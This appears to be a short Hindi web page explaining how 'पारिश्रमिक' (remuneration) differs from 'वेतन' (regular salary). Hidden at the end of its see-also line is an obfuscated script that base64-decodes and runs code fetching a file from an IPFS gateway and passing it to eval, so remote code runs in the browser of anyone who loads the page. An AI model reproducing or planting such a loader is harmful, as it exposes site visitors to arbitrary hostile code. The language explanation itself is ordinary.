पारिश्रमिक और वेतन

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'पारिश्रमिक' और 'वेतन' प्राय: दोनों को एक समझ लिया जाता है, परंतु बात मेहनताने की भले हो, दोनों में पर्याप्त अंतर है। पारिश्रमिक का अर्थ है, किसी परिश्रम के बदले में मिला हुआ धन। वेतन का धन भी परिश्रम के बदले ही मिलता है, परंतु 'पारिश्रमिक' और 'वेतन' में अनियमितता और नियमितता का अंतर है। पारिश्रमिक में नियमितता-अनियमितता जैसी कोई बात नहीं है। लेखक को अपने लिखे का पारिश्रमिक मिलता है, न कि वेतन। मजदूर की दिहाड़ी पारिश्रमिक तो है, पर वेतन नहीं। हाँ, इसे दैनिक नियमितता के साथ बाँध दिया जाए तो यह वेतन भी बन सकता है। वास्तव में वेतन नियमित रूप से मिलने वाला पारिश्रमिक धन है। यह दैनिक, साप्ताहिक, मासिक आदि हो सकता है।

इन्हें भी देखें: समरूपी भिन्नार्थक शब्द एवं अंतर्राष्ट्रीय और अंतरराष्ट्रीय<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



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